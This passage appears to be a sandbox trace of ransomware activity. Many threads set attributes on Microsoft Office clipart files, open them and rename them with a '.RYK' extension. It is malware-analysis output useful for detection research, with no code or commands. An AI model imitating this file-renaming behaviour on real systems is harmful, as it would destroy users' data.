	[0237.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1789
	os_tid = 0x21e0

	[0237.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP", dwFileAttributes=0x80) returned 0
	[0237.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1790
	os_tid = 0x21e4

	[0237.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP", dwFileAttributes=0x80) returned 0
	[0237.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1791
	os_tid = 0x21f0

	[0237.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP", dwFileAttributes=0x80) returned 0
	[0237.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.885] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1792
	os_tid = 0x21f4

	[0237.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP", dwFileAttributes=0x80) returned 0
	[0237.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1793
	os_tid = 0x21f8

	[0237.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP", dwFileAttributes=0x80) returned 0
	[0237.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1794
	os_tid = 0x21fc

	[0237.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP", dwFileAttributes=0x80) returned 0
	[0237.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1795
	os_tid = 0x2200

	[0237.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP", dwFileAttributes=0x80) returned 0
	[0237.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1797
	os_tid = 0x220c

	[0237.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF", dwFileAttributes=0x80) returned 0
	[0237.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1798
	os_tid = 0x2210

	[0237.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF", dwFileAttributes=0x80) returned 0
	[0237.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1799
	os_tid = 0x2214

	[0237.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF", dwFileAttributes=0x80) returned 0
	[0237.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1800
	os_tid = 0x2218

	[0237.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF", dwFileAttributes=0x80) returned 0
	[0237.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1801
	os_tid = 0x221c

	[0237.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF", dwFileAttributes=0x80) returned 0
	[0237.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.021] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1802
	os_tid = 0x2220

	[0237.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF", dwFileAttributes=0x80) returned 0
	[0237.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1803
	os_tid = 0x2224

	[0237.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF", dwFileAttributes=0x80) returned 0
	[0237.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1804
	os_tid = 0x2228

	[0237.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF", dwFileAttributes=0x80) returned 0
	[0237.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1805
	os_tid = 0x222c

	[0237.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF", dwFileAttributes=0x80) returned 0
	[0237.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.018] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1806
	os_tid = 0x2230

	[0237.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF", dwFileAttributes=0x80) returned 0
	[0237.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1807
	os_tid = 0x2234

	[0237.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF", dwFileAttributes=0x80) returned 0
	[0237.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1808
	os_tid = 0x2238

	[0237.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF", dwFileAttributes=0x80) returned 0
	[0238.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1809
	os_tid = 0x223c

	[0237.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF", dwFileAttributes=0x80) returned 0
	[0238.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1810
	os_tid = 0x2240

	[0237.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF", dwFileAttributes=0x80) returned 0
	[0238.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1811
	os_tid = 0x2244

	[0237.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF", dwFileAttributes=0x80) returned 0
	[0238.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1812
	os_tid = 0x2248

	[0237.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF", dwFileAttributes=0x80) returned 0
	[0238.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1813
	os_tid = 0x224c

	[0237.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF", dwFileAttributes=0x80) returned 0
	[0238.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1814
	os_tid = 0x2250

	[0237.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF", dwFileAttributes=0x80) returned 0
	[0238.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1815
	os_tid = 0x2254

	[0237.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF", dwFileAttributes=0x80) returned 0
	[0238.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
